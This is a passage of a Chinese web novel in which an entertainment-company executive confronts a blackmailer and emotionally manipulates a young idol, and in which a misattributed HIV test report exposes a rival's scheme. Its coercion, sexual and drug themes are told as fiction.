邱芜澜将话直白地甩在了梁勤文脸上,没有任何转圜的余地,原本躲闪的韩尘霄愣住,抬起眼睛,正对上梁勤文难看的脸色。 他脸上的肌肉抽动了几下,不复往日高高在上的模样。 “邱总……话不用说得这么难听吧,只是一起玩玩儿而已。” “玩什么?”邱芜澜展眉,“女人?男人?还是玩粉呢。” “邱总!”梁勤文再绷不住平静,两眼之中的惊恐隔着屏幕都鲜明突出。 “你是怎么想的呢。”邱芜澜疑惑不解,“那么多漂亮的男明星,那么多乐意逢迎你的经济公司,偏偏要选我的艺人。” “我……”梁勤文咬牙,片刻压低了声音,“邱总,饶我一次吧,我再不敢了。” “一个滥.交、吸.毒的人去代言游乐场,是不是太不合适了?” “邱总,求您了!”他的态度节节败退,惊恐升至了顶峰,“我自己去解约好不好?求求您别和叶太太说,要是叶太太知道了这些,我在圈子里就真的没有活路了!您放我一马,我给小韩出专辑、以后他所有演唱会,我都免费当嘉宾好不好!” 邱芜澜没有开腔,她余光望向身侧的韩尘霄,让他自己定夺。 不管是屏幕前还是私下里,梁勤文从来没有这样势弱。这一刻,他和那些被逼着向他低头的艺人、女郎一样,没有任何区别。 那份高不可攀的形象轰然倒塌,韩尘霄无法撼动的大厦在邱芜澜面前渺小得像是一粒沙。 他从未如此清晰地意识到邱芜澜的分量。 “小韩,”梁勤文立即冲他哀求,“除了那些照片,我也没怎么为难你吧?这么多场聚会,我甚至没让你出过一分钱,大家低头不见抬头见的,别闹得这么僵好不好?” 即便邱芜澜在场、即便是求饶,韩尘霄依旧听出梁勤文对待他和邱芜澜截然不同的两种态度。 他恨不得跪下求邱芜澜;对他,却携带着威逼。 “删掉那些照片,别再来找我。”韩尘霄涩然开口,哭过的嗓子有些发紧,“还有,别再逼那些艺人。” “好,没问题!”梁勤文巴巴地望向邱芜澜,“邱总,您看……” 邱芜澜直接挂断了视频。 凌晨时分的办公室,静谧无声。 落地窗外,璀璨的灯光银河般盘踞在这座繁华的都市间。 良久的沉静后,邱芜澜侧身,坐去了韩尘霄腿上。 她轻揉他的额角,揩去他的泪水。 “不怪你。”她说。 韩尘霄的心脏震撼地重跳了一下,恍然以为自己出现了幻听。 在他背叛邱芜澜、被拍下和其他女人的亲密照后,她竟然对他说——“不怪你”。 她怎么能不怪他? 他堕落得连自己都唾弃自己,她为什么还能说出这样的话来? “如果真的那么容易摆脱梁勤文,就不会有那么多艺人受他控制。”邱芜澜低头,抵上了青年的额,“我理解一个人的力量是有限的,也理解你的患得患失,所以尘霄,我原谅你这一次。” “你只是个普通人,你有很多无能为力的事,但我可以。” 她覆上韩尘霄的脸,像是捧着他,又像是抓住了他,“我们在一起的时间虽然不长,经过这一回,你应该知道了我对你的用心。” “别再试图欺骗、隐瞒,也别再想着剑走偏锋,你想要的一切,我都能给你。” 她掌下的面容泛红潮润,温热的泪珠大颗大颗渗出,顺着邱芜澜的指缝蜿蜒淌下。 他抽泣着,扭头去舔吻唇角的纤指,支离破碎地嗫语,“对不起芜澜、对不起……我再也不会骗你了,我以后只听你的话……我喜欢你,我只是害怕被你讨厌……” 邱芜澜拇指刮过他满是泪痕的侧脸,将湿润的手指压在他下唇。 韩尘霄立即捧着她的手,宛如干渴数日的人,急切地吸.吮吞咽。 他收着牙齿,只余柔软的唇舌,讨好且焦虑地仰慕邱芜澜。 邱芜澜半是好笑半是怜爱地揉了揉他的发顶。 这一动作落在韩尘霄眼中,无疑代表了鼓励,他愈发热切,喉结上下滚动着,发出含混的咕咕喉音。 在邱芜澜的注视下,他心脏振奋地搏动着,一股难以言述的喜悦冲击了韩尘霄的颅顶。 被人控制了三个多月的苦闷低潮后,这份得之不易的喜悦让他激动地无法自持。 他不敢过分触碰邱芜澜,只泪眼迷蒙地注视他,用眼神贪恋地描摹她每一寸肌肤。 邱芜澜被他看得轻笑出声,她坐去了办公桌上,高出他一截,在韩尘霄痴醉迷离的目光中解开了第一颗纽扣。 历时四个月,韩尘霄的人格摧毁又重塑。 邱芜澜摘掉了他的清高、独立和自尊;融入了自卑、软弱和爱欲,又顺手注入了一点扭曲的价值观。 现在,她姑且得到了一个安全的、稳定的伴侣—— 一个勉强可以代替季尧的应急方案。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第五十一章 韩尘霄再一次端茶上来时, 邱芜澜明显感觉到不一样了。 剔透的骨瓷盛着淡玫红色的茶汤,茶汤边缘被瓷白稀释,呈现柔和的渐变边。 她抿了口, 眉心舒展。 韩尘霄期冀地询问:“怎么样?” 邱芜澜冲他招手。 他俯下身,被她扶住侧脸, 哺给他口中的茶。 馥郁的花香留在了韩尘霄唇上,将淡色的唇镀上潋滟的水光。 他顿了下, 旋即偏头,红着眼加深了这一吻。 邱芜澜接受了。 半晌,她轻拍他的脸, 示意他退开。 韩尘霄低喘着, 湿润地望着她。 邱芜澜将茶杯放去了手边, 第一次收下了韩尘霄的茶。 “后天我要去C国。”她道, “一周左右, 你陪我去。” 韩尘霄想要抱她、想要埋在她的颈窝里嗅闻那股兰草香气, 可邱芜澜已然抽离, 将注意力放在了工作上。 他平复着急促的呼吸,大脑燥热了好一会儿才分出精力去理解邱芜澜说的话。 “一周……”韩尘霄为难道,“塔丝纳音乐节请我过去, 他们和我们这边的宣发都做完了。” 别的工作可以推、可以协调, 但这是他出道六年来第一次被邀请上塔丝纳音乐节, 双方宣发一周前就开始全网预热,不止是韩尘霄期待这一次露面, 粉丝们也期待已久。 “让阿尧代你去吧。”邱芜澜随口道, “就说你病了,组织方和粉丝们能理解的。” 韩尘霄没有立刻应下。 邱芜澜抬眸,看向了他。 他脸上是显而易见的不舍。 “那, 算了。”邱芜澜回正视线,移动着鼠标,“不用这样,你不愿意可以直接和我说。” “我没有。”韩尘霄慌张地搭上她的左手,“我和你去,让季尧代我去音乐节。” 邱芜澜莞尔,转过椅子,抚上他的侧颈,在他唇角留下一触即发的吻。 “分开那么久,我也想和你待在一起呀。”她在他唇畔呵气,“霄霄,我会加倍补偿你的……陪陪我,好么。” 淡雅温热的兰草气拂过唇瓣,韩尘霄咬着口中的软肉,双眼走向迷离氤氲。 他椎骨酥麻,没能忍住,将邱芜澜小心地抱进了怀里。 她想和他待在一起。 她也想和他待在一起…… 他开心得手足无措,这份饱胀的情愫无处发泄,只能更用力地咬住口腔内壁,用疼痛压抑激动。 韩尘霄很快下去和唐知行沟通行程。 唐知行上午不在,带着季尧和罗浩炆录制早安广播,中午才把人送回来。 季尧掐着时间,把外套往休息室一丢就要上楼给邱芜澜准备午餐。 “季尧。”韩尘霄叫住了他,“有个事想和你商量。” 季尧回头,示意他说。 “下周的塔丝纳音乐节……”韩尘霄冲他笑了下,“你替我去好不好?” “塔丝纳音乐节!”一起回来的罗浩炆震惊看向韩尘霄,“尘霄哥,怎么了,家里出事了?” “出什么事也不影响那一天啊。”唐知行翻了下行程,“还不到一天,就大半天。” “芜…邱总要出国。”韩尘霄轻声道,“她让我和她一起去。” 休息室倏地静了下来。 迥异的视线汇集到韩尘霄身上,片刻,唐知行先开了口,“尘霄……” 他欲言又止,神色有些复杂,措了会儿辞才接着道,“要不再和邱总商量商量?她每个月都出差,塔丝纳两年才一次,你清楚它的含金量。” 他向来是最支持韩尘霄去接触邱芜澜的,这是头一回反对。 “我知道。”韩尘霄一点头,认真道,“我考虑过了唐哥。塔丝纳含金量虽然高,但它只是个荣誉、是一个结果,我去不去,都不会影响我的业务能力。我被邀请,知道自己的实力得到了大众认可,这就够了。” “你知道有什么用,得投资方知道,你的报价才能抬高啊。”唐知行纳闷,“邱总不知道你要参加吗?” 邱芜澜的前任不计其数,但公司员工都清楚,她是绝对的事业脑。 别人家的艺人就算了,韩尘霄可是他们自家的艺人,邱芜澜怎么会色令智昏到这个地步。 听见唐知行的反问,韩尘霄面色一变,急忙改口,“她没想让我去,是我非要跟着她。” 他已经在梁勤文、叶太太那里丢了邱芜澜的脸,不能再破坏她在公司里的形象。 “你疯了吗?”唐知行一时没绷住,脱口说了出来。 他倒不是在骂人,纯粹是惊疑到了极点。 有这个必要吗,为了那几天把塔丝纳推了。 这个出差蕴含了什么他不知道的深层内涵吗?难道和邱芜澜出国一周就能成为她的丈夫?要真是这样,那他倒还能理解。 “唐哥,别问了。”韩尘霄不想和别人聊他和邱芜澜的私事,“我有我的理由。” 他那样背叛她,她竟一点儿也不责怪他。 这样好的邱芜澜吻着他的唇角,撒娇说想要和他待在一起,韩尘霄无论如何都无法拒绝。 他会努力工作,但工作只是工作,永远没有爱人重要。 “让季尧代我去吧。” “为什么是我。”季尧问。 韩尘霄掩下眸中的情愫,“邱总提议的。” 仅仅只是提起这个名字,他的语气便温柔下来。 季尧敛眸,松开了门把。 磨砂玻璃弹了回去,小幅度地摇摆了几回。 季尧走了,唐知行扶额,“好吧,你有你的打算,我不干涉。” 换作其他几个,唐知行少不得拎着耳朵破口大骂,但韩尘霄是上进懂事的,他既然觉得这次出差比塔丝纳重要,那应该是有他的理由。 “谢谢你,唐哥。”韩尘霄真诚地道谢,唐知行摆手,“提高你的业务水平,比什么感谢都要强。” “我知道,”韩尘霄颔首,“现在就去健身房。” “健身房?”罗浩炆嘀咕了一句。 唐知行听出他口吻中的疑惑,“怎么?” “没什么。”罗浩炆耸肩,“也没什么奇怪的。” 只是韩尘霄很少会拿这种整块的时间去健身,特别是中午这种不尴不尬的中间段。 韩尘霄和姐姐复合了—— 虽然他们从未分手,但对季尧来说,这就是一次盛大的复合。 他躺在邱芜澜办公室沙发上摁游戏机,瞳孔却并未聚焦。 他停在最终boss的房间,等待它复活,然后一点点砍死,再等待复活、砍死、等待……不停地机械重复着。 那个即将要死在华君润手里的男人身上缠绕了烟丝酒气,沾染了女人的香水,他已是夏天忘记放入冰箱的西红柿,烂得化成了脓水。 这样恶心的东西,姐姐却俯身亲吻了他。 他溃烂得提不起来了,姐姐便用双手将他捧起。 季尧无比恶心。 “邱总。”简带着刚打印出来的一沓资料匆匆入内,“客户临时要改合约。” 邱芜澜接过,迅速浏览一遍后递回给简,“拿给外贸和法务。” 简接过,却没有动身。 邱芜澜扫了眼屏幕右下角,后知后觉地揉了揉太阳穴。 已是十一点,不止是下班,员工们恐怕都要入睡了。 “应该还有人醒着,我去联系一下。”简说。 “专业名词太多了,这个点翻不完的。”邱芜澜制止了她,把那份合约重新拿了回来。 “内容有点多,后天早上的飞机,等明天上班再翻译就来不及了。”简还是想今晚找两个人过来加班看一下。 “我会处理的。”邱芜澜道,“今晚我不回别墅,去旁边的公寓,你回去休息吧。” 这两天在韩尘霄身上花了点时间,邱芜澜自己手头上的事还没结束,她将那份合约拿了起来重新看了眼。 二十多页,又追加了三页。 首次合作的新公司需要慎重, AI翻译后还是得人工查看一遍,算下来和人工翻译没什么不同。 时间有点赶了,找外包么……邱芜澜抬眸,看见躺在沙发上的季尧。 “阿尧。” 季尧倒仰头看向邱芜澜。 “看一下。”她将那叠合约递给季尧,“明天下午前,能翻译好么。” 季尧微怔。 他已经很久很久,连这样的辅助工作都得不到了。 邱芜澜的语气中残留着犹豫,她将工作交了出去,可也还在思量——这么做可以么。 诚然,哥哥对季尧的态度似乎是有所放宽; 但,他到底是真的对季尧有所改观,还是单纯在赶时间,没空和她争辩这种小事? 邱芜澜拿捏不准。 她已经用过一次季尧了,拿着他努力收集情报收服了乔尹、成功推进了迟迟没有进展的ASHS改革。 才过了几天,她又要用到季尧么…… 可这次只是翻译而已。 季尧还是大三,这个年纪的学生还有英语考试,就当是一套练习……邱芜澜告诉自己,在确定哥哥态度之前,这只是份给学生练手的英语作业,和工作、和公司并无关系。 邱芜澜递出资料的姿态充满了不确定性,随时有可能打消决定,季尧迅速回神,握住了她递来的文件。 他大致翻了翻,露出一侧尖尖的犬牙,“好长,对面的法务是有网络小说的副业么。” 他果断接了过去,让邱芜澜犹豫摇摆的心思定了下来。 算了,就这一次,这只是套英语习题。 “他们公司的文件就是又长又晦涩。”就算是她,也忍不住要抱怨两句,“冗长就算了,还总是修改。连我都不忍心再叫法务过来加班了。” “至少说明他们很上心。”季尧拍拍手中二十多页的合约。 邱芜澜展眉,“是的,态度是诚恳的,就是外贸这块刚起步,还不成熟。” “像是第一次进城的女孩,一小时检查六次背包,担心被偷被骗。” 邱芜澜失笑,“很形象。” 她招手,让季尧靠得更近。 待季尧绕过桌子,来到邱芜澜身边时,她拉开抽屉,取出一小盒奶酥。 “下午客户送的,配料表还算干净,我就留了一份。” “为什么下午不给我。”少年脸上那双圆眸睁得更圆了,佯装不高兴,“姐姐藏着是要给谁?” “给第二天的你。”邱芜澜将精致的糕点盒放去季尧手上,“合约留在公司,再两个小时我们回公寓,剩下的明天做。” 她本来快要走了,这份突然加来的合约绊住了邱芜澜。 七点吃的晚饭,加班回去后实在太晚,邱芜澜手边没有别的,否则也不愿意让季尧半夜吃甜点。 季尧接过,“我给姐姐做点什么吧。” “没关系。”回去的时间推迟了,邱芜澜整理了下其他工作,“我的胃一顿两顿救不回来了,你的要好好爱惜。” 季尧看向手中的奶酥。 从邱芜澜接纳他开始,就将他当做弟弟来爱护,对他的身体和对他的学业一样上心。 在她无法启用季尧的才能后,重心更是完全倾轧向了季尧的健康方面。 毕竟,邱家健康的孩子远比优秀的孩子更加罕见。 因此,季尧不敢告诉她,不规律饮食已是他的常态。 他不是故意叛逆,只是姐姐不在的时候,他的头总是眩晕刺痛,吃不下东西。 办公室没有第二张办公桌,季尧便坐在邱芜澜对面,支着一只手机,在平板上进行翻译。 他面前还铺了张纸,右手松松持着一支笔,左手腕上戴了一根纯黑的发圈。 仲春的夜晚还冷,中央空调输送着暖气,窗外是不息的车流和晶莹璀璨的高楼大厦。 凌晨一点,邱芜澜摘下防蓝光眼镜,捏了捏鼻梁。 抬眸,对面便是对照文件的季尧。 她好久没有看见这样认真的季尧了。 一瞬间,邱芜澜像是回到了大学初期。 她刚接手秋叶娱乐时,手忙脚乱的,整一年的平均睡眠没有超过六个小时。 那时候哥哥还没有对季尧的存在提出异议,他陪在她身边,帮她整理资料、处理表格、制作PPT演讲稿、分析评估各项数据。 彼时的季尧还未读高中,他的学习力相当惊人,邱芜澜便同意了季尧休学,让他跟在自己身边。 他不仅帮她处理了繁琐的辅助工作、獬豸般帮她观察身边的人,还包揽了她的一日三餐。 正是那个时候,季尧在邱芜澜心中的分量慢慢超过了两个叛逆期的弟弟。 一开始,她只是想用他去刺激弟弟们上进; 可经历过那样形影不离的岁月,她很难不对季尧生出真情。 如果不是哥哥提醒她,季尧是小三的儿子、是试图僭越母亲地位的女人的儿子,现在的季尧会在离她最近的地方有一间独立办公室,而不是龟缩在桌子一角,用一两万的平板处理上千万的合约。 季尧将文件翻页,开始做第八页的翻译时,手中的平板被邱芜澜抽走。 “到点了,下班。”她将平板上的文档保存,然后关机,收进抽屉里,“明天再做。” “姐姐……”季尧咬着唇,“我还没保存。” “我保存了。” “我开了两个独立文档,后面还有一个。” 邱芜澜顿足。 那张清冷矜贵的脸上显出片刻怔忪。 她旋即回身,将抽屉里的平板拿出来,一边开机一边对季尧说,“有自动保存……你有设置每分钟保存一次吧?” 比起安慰季尧,更像是在安慰有点慌张的自己。 季尧扑哧笑了出声。 他抓着座沿,笑得灿烂似春,浅淡的瞳色如同阳光下的玻璃糖,折射出璨然泽光。 邱芜澜开机的动作一滞。 她立刻反应过来自己被戏弄了,把抽屉重新推上,将披在椅背上的外套搭在臂弯,转身就走。季尧赶忙跟上。 “姐姐,生气了么。” “真幼稚。”邱芜澜嗔了他一眼,“你小时候也没这么幼稚。” 季尧讨好地唤她姐姐,呼吸之间是奶酥的香气,这味道和刚到邱家的季尧一样,婴儿肥尚未褪去。 邱芜澜感觉到了季尧的开心。 她抿唇,在季尧烂漫的笑容里,心脏隐有刺痛。 那只是一份英语作业,并不是交给他的工作…… 她并没有打算重启他的能力。 “后天去C国,有什么要我带回来的么。”最终,她只能给出这样的补偿而已。 从秋叶娱乐到公寓只需十分钟的步行,他们没有开车,就这样迎着清凉的夜风走回去,让春夜荡涤工作后的沉乏。 人行道的右侧是彻夜不熄的CBD,左侧是来去的车流。 凌晨时分的瑚城褪去了些许喧嚣,得以嗅到远处大海的气息。 季尧倒退着走,他没有特意盯着脚下,但一路踩在了同一列地砖上。 “我没什么想要的,”他对邱芜澜笑,“如果有树枝刮到了姐姐的帽子,就把《冠军岛运动会》的周边带回给我吧。” 邱芜澜捏着下巴想了会儿:“那个三花猫的游戏?” “姐姐居然知道?”季尧顿了顿,蹙眉道,“姐姐居然不吐槽?” “老游戏了,我怎么会不知道。”邱芜澜勾拢被风拂开的发丝,回答了季尧后半句话,“你那样戏弄我,我才不接你的包袱。” “这可不是大热门的游戏。”季尧愈感兴趣。 “再过几年要接手文娱板块了,也该开始了解了。” “姐姐。” “嗯?” “为什么不让尘霄哥去音乐节。” 这话题起的突然,季尧不想破坏这样好的气氛,可他实在好奇。 邱芜澜脸上的暖色淡了些,她收起了面对家人、面对季尧时的温柔,平和地开口:“艺人这份工作,太忙。他得留在我身边才行。” 不留神,季尧脚跟踏向了砖线外。 邱芜澜伸手抓住他的胳膊,低呼一声,“小心。” 季尧扭头,也跟着啊了一声,“好险,差一点就‘死掉’了。” 他说着话,掩饰心中的波澜。 连这种小学生都不玩的幼稚游戏,邱芜澜也愿意和他一起。 她注意到了他、看见了他。 只有她会真正在意他。 他回到了“安全线”内,继续方才的话题,“他推掉音乐节的时候,连唐哥都不太赞成。尘霄哥付出了不少,姐姐不觉得可惜么。” 邱芜澜勾唇,“对他来说,我的管家工作远比当唱跳歌手更加体面。” “尘霄哥很努力。”季尧说。 “他的努力是为了钱,为了名。”邱芜澜不以为然,“你们队里真正追求音乐的,恐怕只有杨木,也只有纯粹的音乐家才会在娱乐圈里如此痛苦。” “韩尘霄不是长袖善舞的人,端着清高,又渴望名利。退出娱乐圈,跟在我身后,他会更加开心。” 人际关系简单、不擅长应酬,又有一点爱慕虚荣——这是邱芜澜选择韩尘霄的主要原因。 这样的人,太适合做季葶那样的角色。 但季尧不可以。 邱芜澜看向季尧的眸色微深,身后灯火辉煌的夜景将季尧衬托得愈发珍贵。 韩尘霄的能力平平,他穷极一生,至多不过是个一线明星; 可是季尧——她花费多年心血培养的弟弟,他是个毫无疑问的天才。 哪怕哥哥反对、哪怕他的存在有悖母亲颜面,邱芜澜都不舍得他埋没在家务琐事里,和他妈妈、和她的母亲一样,一辈子圈禁在华丽冰冷的宅院内。 季尧,她的阿尧还有更长更远的路要走,她不忍为了那一点儿占有欲折断他的羽翼。 再等等……邱芜澜想,再等等,她总会帮季尧找到方向的,一个既不伤害兄弟母亲,又适合季尧发展的方向。 …… 那份合约在第二天中午翻译完毕。 一个专业翻译两三天的活儿,被季尧在七小时里完成,拿去了法务和外贸协商评定。 明天就要出国,邱芜澜在对各部门做最后的交代。 她下到ASHS的楼层时,正好有办公室的门被推开。 华君润的办公室。 开门的刹那,男人温润的眉宇间携着一抹阴鸷,他上身前倾,正欲前行,猝不及防看见廊上的邱芜澜。 那抹阴鸷瞬间化为错愕。 邱芜澜忽视了他异样的神情,对他颔首致意,接着便要去到乔尹的门前,和他商量改革事宜。 “芜澜!” 华君润倏地上前,挡住了她。 他下颚紧绷,脸色前所未有的难看,隐藏着焦虑。 “有时间么,有件事得告诉你。” 邱芜澜视线下移,看见了他手中紧握的东西—— 体检报告。 姓名:韩尘霄。 她了然应允,随华君润去了他的办公室。 “怎么了?”邱芜澜在小沙发上坐下,“难得见你这么急。” 华君润打开了玻璃墙的雾化模式,阻断了外界的窥探。 他眉间紧皱,几次都不知如何开口,最后只能将手里的东西先拿给邱芜澜看。 “韩尘霄的体检报告……行政错发到了我这里。” “放着吧,他们会过来换的。” “我不是说这个!”华君润将首页翻开,送到邱芜澜面前,“芜澜,他有艾滋。” 第52章 第五十二章 秋叶每年都会为员工和艺人安排体检, 本该是年中,今年不知道为什么提早了。 华君润在自己办公桌上看见了韩尘霄的报告,他猜是行政不小心送错了, 还回去之前,随意翻了翻。 在看见韩尘霄报告的诊断结果时, 华君润被当头棒喝愣在了原地。 顾不上隐秘,他第一时间在公司联系了梁勤文, 质问他怎么回事。 梁勤文身边的那些男的女的,连他自己都未必清楚有没有病。 因此华君润一早就和他交代过,灌酒、戏弄甚至扒光了殴打都可以, 但邱芜澜还要用韩尘霄, 在她厌弃他之前绝不能让韩尘霄沾毒沾黄。 梁勤文被华君润问得大脑空白, 连连否认。 他确定自己没有给韩尘霄找过女人, 就是第一次拍韩尘霄艳照, 都没有口对口的接触, 只是找了两个女的搂抱他而已。 “哥, 我绝对没有,我发誓。”他的语气打颤,韩尘霄得了病, 那邱芜澜岂不是也……这可是母婴传播的病, 邱芜澜还没有孩子, 要真得了,那就是直接断了她子孙后代, 他是真的跳进黄河也洗不清了! 华君润咬牙, “你没有,你手下那些人有没有?” “这个、我……”三个月,近一百个日夜, 他没法确保每分每秒都在他掌控之中。 “立刻去问!”华君润低吼着挂断了电话。 他焦躁地在办公室踱步,自回到秋叶以来不曾出现过的灼痛感攀爬上了脊背,好似被粘稠的火舌不停舔舐肌骨,烫得他想要嘶吼呼救。 他坐不下来,抓着身边可以倚靠的器具。 眼前是刺目的白光,像是拍摄时的影视灯,打得他什么也不看见。 两只眼球在强灯的直射下烫得仿佛化成了脓水,从眼眶中缓缓流下。 他毁了芜澜、他害了她,她永远都不会原谅他。 “听说了么。” 有窃笑声从华君润身后路过,似远似近,他丧失了方向距离的感知,那声音很清晰地传进了他脑海。 “邱总这次出差要带韩尘霄呢。” “哇哦,邱总不是不搞办公室恋情的么。” “听说是韩尘霄缠着要去的,我还听说……他不去塔丝纳,就是为了逼邱总和他在一起,要是邱总不同意,他以后就撂担子不干了。” “我天,这种男的好可怕。这还不解约,等着以后他用跳楼来威胁么?” “可怕是要分人的,换成没钱没家世的普通女孩,他会这么疯么?我倒是觉得他蛮聪明的,平常塑造了个勤勉刻苦的人设,现在为了爱情抛弃事业,恋爱中的女人哪个不感动?” “算了吧,邱总可不是恋爱脑,她什么好的没吃过?别说感动了,恐怕只会糟心。” “那又怎么样,她还不是同意带上韩尘霄了。” 出差…… 华君润猛地惊醒。 他抓着报告出门。 或许还不晚,年末年初是最忙的时候,他们或许还没有……他必须将事情告诉芜澜,不能再让他们接触下去! “艾滋?” 然而,邱芜澜怔忪的表情给了华君润重重一击,打碎了他最后那点侥幸。 他退了半步,随即猛地上前抱住邱芜澜,与她深吻交缠。 血腥味在邱芜澜口中漫开,她尝到了华君润的血。 他咬破了自己的口腔,大口吞咽她的唾沫,发出啧啧水声,忘我地沉浸在这汹涌的吻中。 邱芜澜皱眉推拒,让他退开。 感受到她的抗拒,华君润更加用力,他死死抱着她,呼吸愈发炽热,舌尖也愈发深入。 腥甜的铁锈味混合着唾液交换传递,这一吻的滋味近乎癫狂。 邱芜澜不再多费力气,等着华君润自己冷静下来。 良久,他才退开半寸,揽着邱芜澜的双肩,在她唇前呢喃,“芜澜,别怕,我和你一起。” 他的气息滚烫湿重,满载血腥。 邱芜澜抽了张纸,拭去唇上的血。 她平静地望着华君润,“他没病。” “上午医院就打电话来,说新来的护士录错了人名。” “韩尘霄没病。我只是惊讶这份错的报告居然还在我们公司里。” 华君润呆愣住了。 邱芜澜将染上血色的纸巾递给他,颇有些无奈地同他轻语,“下次,别这样了。” 她起身,越过他离开办公室。 电子锁合上,华君润定定望着那份发皱的报告和染了红的纸巾。 他瞳孔骤缩,身上的灼痛几何倍翻涌,如同火海要将他葬在其中。 「下次,别这样了」 她知道了。 她知道自己和梁勤文的联系,知道韩尘霄身上发生了什么,她调整了年中体检时间——体检距离韩尘霄第一次接触梁勤文刚好三个月。 性病抗体检测的窗口期正是在12周内,部分如淋病、梅毒在十天左右可以初步检测出来。 十天、十天……华君润陡然想起,RNI年前参加了一场献血公益,提供了血液样本——韩尘霄醉宿未归的第一晚起,邱芜澜就知道了! 怎么会…… 华君润不明白到底是哪里出了纰漏,为什么邱芜澜会那么早地知道一切。 梁勤文不敢告密,只可能是他手下的人,除此之外,再没有别人知道自己对韩尘霄下手。 华君润抓着报告的五指微收,霍然之间,另一个名字跳了出来。 季尧。 他很快否定,季尧是邱芜澜的表弟,他和他不存在竞争关系,自己能进入秋叶,还是当年季尧推荐的。 在季尧心中,他或许不是个讨喜的姐夫,但韩尘霄同样不讨喜。 韩尘霄抢走了邱芜澜的注意力,以至于季尧甚至告状告到了他这里,想让他出手收拾韩尘霄。 季尧没有动机。 况且,自己也从未将计划与他说明。 邱芜澜把季尧保护得很好,他身边的那些二世祖、纨绔子弟终究也还是一群乖小孩,以季尧的阅历,是绝想不到那么多的。 华君润很快将季尧排除在外。 事到如今,到底是谁告诉的邱芜澜已不是最首要的问题。 梁勤文从没有安排女人给韩尘霄,如果是知情者告密,那就不会提到性.病。 既然如此,为什么邱芜澜会立刻安排检测…… 呼之欲出的答案让华君润心脏抽痛。 原来在她眼中,自己已是恶毒到了丧心病狂,要用这种手段去报复她。 “呵…呵呵呵……”华君润跌坐邱芜澜方才坐过的沙发前,掩着额角低低地嗤笑出声。 难怪她对他这般冷淡。 在她心里,自己已是如此的卑鄙下作。 他的回归在她眼中疑云丛生,是经营不下去工作室、无法独立;是历经挫折后内心扭曲、仇富恨权;是看着她无缝衔接,恨她花心滥情…… 她对他有那么多揣测,唯独没有想过那个最简单的理由—— 他爱她,他想她了。 她要他在签约之前就做好病情诊断,防止他控诉秋叶娱乐压迫艺人、让艺人换上了心理疾病; 她唯一一次和他亲近,发病之际都不忘拿走他的手机,关机锁进抽屉。 口中的铁锈味还在蔓延,伤口不断出血。 他抱着毅然的决心,吻她之前咬破了自己的口腔。 她尝到的是怎么滋味? 是可笑,嫌恶,还是烦躁? 她就坐在那里,静静看着他自作深情的自导自演。 华君润低头,抚着发红的嘴唇。 到了这个地步,他感受不到一丁点恼羞成怒,有的只是深深的恐惧、绝望和回味。 喉结滚动,他咽下混着血的唾液,闭眸品尝口中残留的兰草香。 他还是爱她。 韩尘霄,那种惟利是图的懦夫,凭什么能得到她的青睐。 …… 韩尘霄看了眼手机。 六点的飞机,邱芜澜和他约了五点半见面。 他担心会来不及安检、候机,打车到了目的地后,才知道自己的担忧是多此一举。 “来了。” 私人小型飞机内,邱芜澜已然落座。 她比约定的时间还要早到,手中是工作平板,看见韩尘霄后便对乘务长道,“出发吧。” “好的邱女士。”穿着制服的空乘冲她颔首,“需要为您准备早餐么。” 邱芜澜看向坐在自己对面的韩尘霄,“为他准备一份。” 韩尘霄扫过乘务长的制服,有种说不出来的眼熟。 注意到他的目光,邱芜澜问:“怎么了?” 韩尘霄摇头,“这套衣服好像在哪里见过。” 邱芜澜颔首,“你应该是见过的,是瑚航的制服。” 见他露出茫然的表情,邱芜澜笑了。 “想什么呢,”她说,“一套航班组的开销可不低,需要办的资质也很多,为了每个月一两次的通勤,我也没有钱到这个地步。” 韩尘霄惊讶地喃喃,“我以为他们都是你的人。” “我长飞的频率不高,这架飞机虽然是我买的,但托管给了瑚航。就算我要用,也得提前预约。”邱芜澜望向他,“所以,现在可以坐过来一点儿了么,我们之间的距离没你想象得远。” 韩尘霄心尖一跳,他低下头,红着脸从边缘挪向了邱芜澜一些。 她怎么能这么细心、这么亲切…… “您的餐点。” 他想说点什么,被乘务长打断。 相处了几个月,韩尘霄知道这种预制菜邱芜澜是碰都不会碰的,但要让他一个人大快朵颐,也实在是不好意思。 他正想问问邱芜澜早饭吃过了么,就见邱芜澜将手机压去了耳旁。 她唇角漾起了一抹浅淡的笑容,这是和面对他、面对公众、面对员工时截然不同的笑,是未经意识焕发出来的笑意。 韩尘霄隐约猜到了电话那头的人是谁。 “怎么了。” 他听见她轻柔地询问。 毫无疑问,对面是季尧。 “嗯,已经起飞了。”邱芜澜的目光从平板上移开,“早饭吃过了?” 她忽而蹙眉,“第三天了,扔掉。” 这句话说完,邱芜澜就从语音通话里听见了酥脆的咀嚼声。 “季尧。”她语气严厉起来。 季尧倚着衣柜,舔舐手指上的奶酥渣。 几点碎渣落进了他手腕戴的发圈里,他叼开发圈,舌尖舔去内里的碎渣。 “嗯。”季尧在邱芜澜微愠的呵斥下撒娇,“姐姐,我想你了。” 邱芜澜一顿。 季尧有多久没有这样和她撒娇了。 他的每一句“姐姐”都充斥依恋、每一个动作都带着若有若无的讨好,可这样胆大包天地“顶撞”她、这样直白的表白却很久未曾出现了。 邱芜澜眉心不由得松开。 “等我回去,你这个月没有垃圾零食了。”她说着,挂断了电话。 韩尘霄愣愣地看着她,他鲜少见到邱芜澜这么柔和。 他就在她身边,可她和季尧语气中的熟稔形成了特定的小世界,让他无法踏足其中。 这一刻,哪怕知道季尧是和邱芜澜有血缘关系的表弟,韩尘霄心中也生出了几丝嫉妒。 他想起了不知在哪听见的传闻—— 邱芜澜对季尧,比对自己亲弟弟更加温柔,他们之间,不仅仅是邱家的家族观念而已。 心口有些发堵,错过了问话时机,韩尘霄嚼蜡般吃着面前的飞机餐。 他余光时刻落在邱芜澜身上,自开头那几句寒暄之外,邱芜澜再没有和他说过一句话,全程持着平板工作阅读。 六个小时的飞行,那顿早餐之后,韩尘霄很快无事可做。 邱芜澜还在工作,他不好意思睡觉,拿出手机,又不知道网络密码。 当着邱芜澜的面拿出耳机听歌未免太不礼貌,他反复划拉着无连接的网络界面,乘务长去了前舱,他不想像个乡巴佬一样大声询问密码是什么。 出发时的喜悦被行程的枯燥冲灭,他想和邱芜澜说话,可她的目光没有一分留给他,而他对她手上的工作没有半分了解,无法插话。 长时间的沉寂下,濡湿的低落包裹了韩尘霄。 邱芜澜介绍飞机的体贴变了味儿,韩尘霄后知后觉地双颊滴红,为自己在邱芜澜面前流露的无知感到羞耻。 他一点儿也不了解她的生活、她的工作,他的认知和她相差天差地别。 整六个小时的独处,他竟找不到一句共同话题。 